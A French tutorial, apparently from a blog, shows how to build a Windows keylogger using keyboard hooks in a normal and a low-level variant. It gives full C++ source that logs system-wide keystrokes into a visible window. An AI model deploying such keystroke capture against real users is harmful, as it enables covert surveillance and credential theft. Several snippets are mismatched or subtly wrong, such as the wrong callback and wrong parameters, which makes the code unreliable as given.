Cet article tentera de réaliser un keylogger simple basé sur les hook Windows,
de deux manier d’interception la méthode normale et la méthode bas niveau (low level).

Un keylogger (où enregistreur de frape), sert à enregistrer les touches de frappe
du clavier.

Donc comme cité plus haut, un hook doit être effectuer pour intercepté et enregistrer
la touche au moment de la frappe.

Pour commencer, nous allons implémenter une application fenêtre simple sous Windows
munie d’un Editbox pour afficher nos résultats.

#include <windows.h>
#include <cstdio>
#include <iostream>
#include <string>

using namespace std;

HWND log;

HHOOK hKeyHook;

string save;

#define APP_TITLE "KeyLogger"
#define CLASS_NAME APP_TITLE

LRESULT CALLBACK WindowProcedure(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    switch (message)
    {
    case WM_CREATE:
        log = CreateWindowEx(WS_EX_CLIENTEDGE,"EDIT",0,
                             ES_AUTOHSCROLL|ES_MULTILINE|ES_READONLY|WS_VISIBLE|WS_CHILD,
                             0,0,0,0,hwnd,(HMENU)-1,GetModuleHandle(0),0);

        SendMessage(log,WM_SETFONT,(WPARAM)GetStockObject(DEFAULT_GUI_FONT),0);
        break;

    case WM_SIZE:
        MoveWindow(log,0,0,LOWORD(lParam),HIWORD(lParam),true);
        break;

    case WM_DESTROY:
        PostQuitMessage(0);
        break;

    default:
        return DefWindowProc(hwnd, message, wParam, lParam);
    }

    return 0;
}

int WINAPI WinMain(HINSTANCE hThisInstance,HINSTANCE hPrevInstance,LPSTR lpszArgument,int nCmdShow)
{
    HWND hwnd;
    MSG messages;
    WNDCLASSEX wincl;

    wincl.hInstance = hThisInstance;
    wincl.lpszClassName = CLASS_NAME;
    wincl.lpfnWndProc = WindowProcedure;
    wincl.style = CS_DBLCLKS;
    wincl.cbSize = sizeof(WNDCLASSEX);
    wincl.hIcon = LoadIcon(NULL, IDI_APPLICATION);
    wincl.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
    wincl.hCursor = LoadCursor(NULL, IDC_ARROW);
    wincl.lpszMenuName = NULL;
    wincl.cbClsExtra = 0;
    wincl.cbWndExtra = 0;
    wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND;

    if (!RegisterClassEx(&wincl))
        return 0;

    hwnd = CreateWindowEx(0, CLASS_NAME, APP_TITLE, WS_DLGFRAME|WS_SYSMENU,
                            CW_USEDEFAULT, CW_USEDEFAULT, 512, 256,
                            HWND_DESKTOP, NULL, hThisInstance, NULL);

    ShowWindow(hwnd, nCmdShow);

    #ifdef LL_METHODE
	hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyBoardHookProc_LL, GetModuleHandle(0), 0);
    #else
	hKeyHook = SetWindowsHookEx(WH_KEYBOARD, KeyBoardHookProc, GetModuleHandle(0), 0);
    #endif

    while (GetMessage(&messages, NULL, 0, 0))
    {
        TranslateMessage(&messages);
        DispatchMessage(&messages);
    }

    UnhookWindowsHookEx(hKeyHook);

    return messages.wParam;
}

Le code ci-dessus va dans l’ordre :
déclarer les variables nécessaires
enregistre notre class pour la fenêtre
créer la fenêtre principale et l’afficher
installe notre hook de clavier

Enfin, le dernier bloc intercepte les messages envoyer par Windows et les envois
a notre fonction WindowProcedure pour les traiter, cette boucle est essentiel
pour qui notre hook soit appeler et on oublie pas bien sûr de désinstaller
notre hook avec UnhookWindowsHookEx.

Notre fonction WindowProcedure se contente de créer l’Editbox et de traiter
les événements basiques (Changement de taille, fermeture de la fenêtre…)

Maintenant, nous devons installer notre hook de type WH_KEYBOARD à l’aide de
la fonction SetWindowsHookEx.

hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyBoardHookProc,GetModuleHandle(0),0);

Cette fonction est appeler avant la boucle des messages et renvois un handle
de type HHOOK, centre dernier est déclarer globale pour simplifier sa récupération
dans notre fonction de hook qui va enregistrer les touches quelle reçoit

LRESULT CALLBACK KeyBoardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	// On ne fait rien dans ce cas (cf aide API)
	if (nCode < 0 || nCode == HC_NOREMOVE)
		return CallNextHookEx(hKeyHook, nCode, wParam, lParam);

	// Pour éviter les répétitions
	// Bit 30 : Spécifie l'état précédent de la touche (si TRUE, on passe notre chemin)
	if (((DWORD)lParam & 1<<30) != FALSE)
		return CallNextHookEx(hKeyHook, nCode, wParam, lParam);

	BYTE KeyState[256] = {0};

	if (GetKeyboardState(KeyState))
	{
		WORD asciiKey = 0;

		ToAscii((UINT) wParam, (UINT)((lParam << 8) >> 24), KeyState, &asciiKey, 0);

		// ce n'est pas une DEAD KEY, on peut utiliser ToAscii
		if (asciiKey)
		{
			save += asciiKey;
		}

		// sinon, on doit utiliser autre chose !
		else
		{
			char keyName[256];
			GetKeyNameText(lParam, keyName, 256);

			save += "[";
			save += keyName;
			save += "]";
		}

		SetWindowText(log,save.c_str());
	}

	return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
}

Ci-dessous, l’implémentation de notre hook qui va traiter la touche pour l’enregistrer
ou pas selon les cas.

On vérifié d’abord la variable int nCode et on agis selon la doc MSDN.

La fonction GetKeyboardState enregistrer l’état actuelle du clavier dans un
buffer de 256 octet.

On utilise apres la fonction ToAscii pour avoir la valeur ascii de la touche
dans la variable AsciiKey, si cette dernier vaut zéro, on conclis qu’on a affair
a une deadkey (touche qui ne servent pas écrire des charectere ex: SHIFT, CTRL, ALT…)

La fonction ToAscii prend en parametre :
le code virtuelle de la touche fournis ici par la variable wParam
le scanCode et le code de la touche du clavier par le hardware qui doit etre traduit
l’état du clavier fournis par la fonction GetKeyboardState
la varaible qui recevera la touche traduit en ascii (zéro sinon)
le dernier parametre spécifique au menu (pas interéssant ici)

int ToAscii(
        UINT uVirtKey,	    // virtual-key code
        UINT uScanCode,	    // scan code
        PBYTE lpKeyState,	// address of key-state array
        LPWORD lpChar,	    // buffer for translated key
        UINT uFlags 	    // active-menu flag
    );

Pour récupérer le scanCode qui est donner par une portion de la variable lParam
situer sur les bits 16 à 23, on éffécuter un décalage de bit pour isoler cette valeur.

Apres cela on enregistre la variable asciiKey, dans le cas d’une deadkey on appelle
la fonction GetKeyNameText nous retourne dans un buffer le nom lisible de la touche
et on met a jour notre Editbox accecible par son handle HWND log.

Enfin on noublie pas d’appler CallNextHookEx pour chainner les autres hooks.

Pour le hook de type LowLevel la démarche est la même, il faut juste passer
la constante WH_KEYBOARD_LL a la fonction SetWindowsHookEx, ce qui change est
l’intérieur de la fonction callback du hook. Ainsi, cette dernière prend
l’argument wParam qui est un pointeur sur une structure de type KBDLLHOOKSTRUCT
donc un cast est nécessaire.

typedef struct tagKBDLLHOOKSTRUCT {
  DWORD     vkCode;
  DWORD     scanCode;
  DWORD     flags;
  DWORD     time;
  ULONG_PTR dwExtraInfo;
} KBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT, *LPKBDLLHOOKSTRUCT;

Les deux champs qui sont intéressants ici, sont vkCode qui est la valeur
du virutal Key code, et le champ scanCode utiliser dans la fonction ToAscii.

LRESULT CALLBACK KeyBoardHookProc_LL(int nCode, WPARAM wParam, LPARAM lParam )
{
    // Pour éviter d'enregistrer les touches relacher
    if (wParam == WM_KEYUP || wParam == WM_SYSKEYUP)
        return CallNextHookEx(hKeyHook, nCode, wParam, lParam);

    // On ne fait rien dans ce cas (cf aide API)
    if(nCode < 0 || nCode == HC_NOREMOVE)
        return CallNextHookEx(hKeyHook, nCode, wParam, lParam);

    KBDLLHOOKSTRUCT* hooked = (KBDLLHOOKSTRUCT*)lParam;

    BYTE keysState[256] = {0};

    if(GetKeyboardState(keysState))
    {
        WORD asciiKey = 0;

        ToAscii(hooked->vkCode, hooked->scanCode ,keysState, &asciiKey,0);

        if(asciiKey)
        {
            save += asciiKey;
        }

        else
        {
            char keyName[256];
            GetKeyNameText(lParam, keyName, 256);

            save += "[";
            save += keyName;
            save += "]";
        }

        SetWindowText(log,save.c_str());
    }

    return CallNextHookEx(hKeyHook, nCode,wParam,lParam);
}

Remarque : L’application qui installe le hook de type LowLevel doit avoir une boucle
de traitement des messages, qui doit être placée dans la même thread qui a appelé
la fonction SetWindowsHookEx.

Télécharger l’archive : sources, Makefile et l’exécutable